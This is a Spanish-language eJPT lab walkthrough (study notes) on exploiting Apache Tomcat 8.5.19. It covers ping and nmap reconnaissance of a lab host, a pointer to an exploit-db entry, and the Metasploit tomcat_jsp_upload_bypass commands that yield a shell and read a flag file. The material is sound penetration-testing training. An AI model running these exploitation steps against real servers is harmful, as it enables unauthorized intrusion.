> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/explotacion/explotacion-de-windows/explotacion-de-servidor-web-apache-tomcat.md).

# Explotación de servidor web Apache Tomcat

## 🧩 ¿Qué es Apache Tomcat?

**Apache Tomcat**, también conocido simplemente como **Tomcat**, es un servidor web **gratuito y de código abierto** ampliamente utilizado para desplegar aplicaciones web desarrolladas en **Java**.

* Es una implementación de **Java Servlet**, **JSP (JavaServer Pages)** y otras tecnologías relacionadas con Java EE.
* Utiliza el protocolo **HTTP** para facilitar la comunicación entre el servidor y los clientes.
* Por defecto, **Apache Tomcat escucha en el puerto TCP 8080**.

***

## 🔥 Diferencias con Apache HTTP Server

* **Apache HTTP Server** (también conocido como httpd) se utiliza principalmente para servir sitios web estáticos o aplicaciones dinámicas desarrolladas en **PHP** u otros lenguajes del lado del servidor.
* **Apache Tomcat**, por otro lado, se especializa en aplicaciones dinámicas **basadas en Java**.

***

## 💣 Vulnerabilidad en Apache Tomcat 8.5.19

La versión **Apache Tomcat 8.5.19** es vulnerable a una vulnerabilidad de **Remote Code Execution (RCE)** que permite a un atacante subir y ejecutar un archivo malicioso `.jsp` (Java Server Page) directamente en el servidor.

#### ⚠️ ¿Qué permite esta vulnerabilidad?

Un atacante puede:

* Autenticarse (si las credenciales por defecto no han sido cambiadas).
* Subir un **payload JSP malicioso**.
* Obtener acceso remoto al sistema como el usuario que ejecuta Tomcat.

***

## 🧪Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/8yUNbj5zwBxYkd8tdalP" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/OQsTj6sr3wQr4IWWjk8h" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap --top-ports 65536 demo.ine.local
```

<figure><img src="/files/hGDS3VZ2MfTixWh5sqg9" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que varios puertos están abiertos. Acceda al puerto 8080 mediante Firefox.

**Dominio:**

```
firefox demo.ine.local:8080
```

<figure><img src="/files/9Wxy39bFeDWch0vwGUYT" alt=""><figcaption></figcaption></figure>

**Paso 5:** El objetivo ejecuta un servidor Tomcat 8.5.19. Busque "Apache Tomcat 8.5.19 exploit" en Google para encontrar la vulnerabilidad.

<figure><img src="/files/1l7MR1iE8df9kz98Njlh" alt=""><figcaption></figcaption></figure>

**Paso 6:** Abra el enlace exploit-db.com: <https://www.exploit-db.com/exploits/42966>

<figure><img src="/files/SfTM0luE2NyeS6DxXdcA" alt=""><figcaption></figcaption></figure>

El objetivo podría ser vulnerable a **“JSP Upload Bypass RCE”** .

**Paso 7:** Explotar el servidor de destino utilizando el módulo **tomcat\_jsp\_upload\_bypass** de metasploit .

**Comandos:**

```
msfconsole
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS demo.ine.local
check (We are running a “check” command in the metasploit framework to make sure that if
the target is vulnerable to jsp_upload_bypass or not.)
exploit
```

<figure><img src="/files/SDzLYyBk68SYHJdYhzFm" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito el servidor Tomcat de destino y recibimos un shell.

**Paso 8:** Buscando la bandera.

**Dominio:**

```
cd /
dir
cat flag.txt
```

<figure><img src="/files/jTwN0gbKxcB3PNVEfMDO" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, explotamos un servidor web Java vulnerable usando un módulo metasploit y obtuvimos acceso de shell en el objetivo.
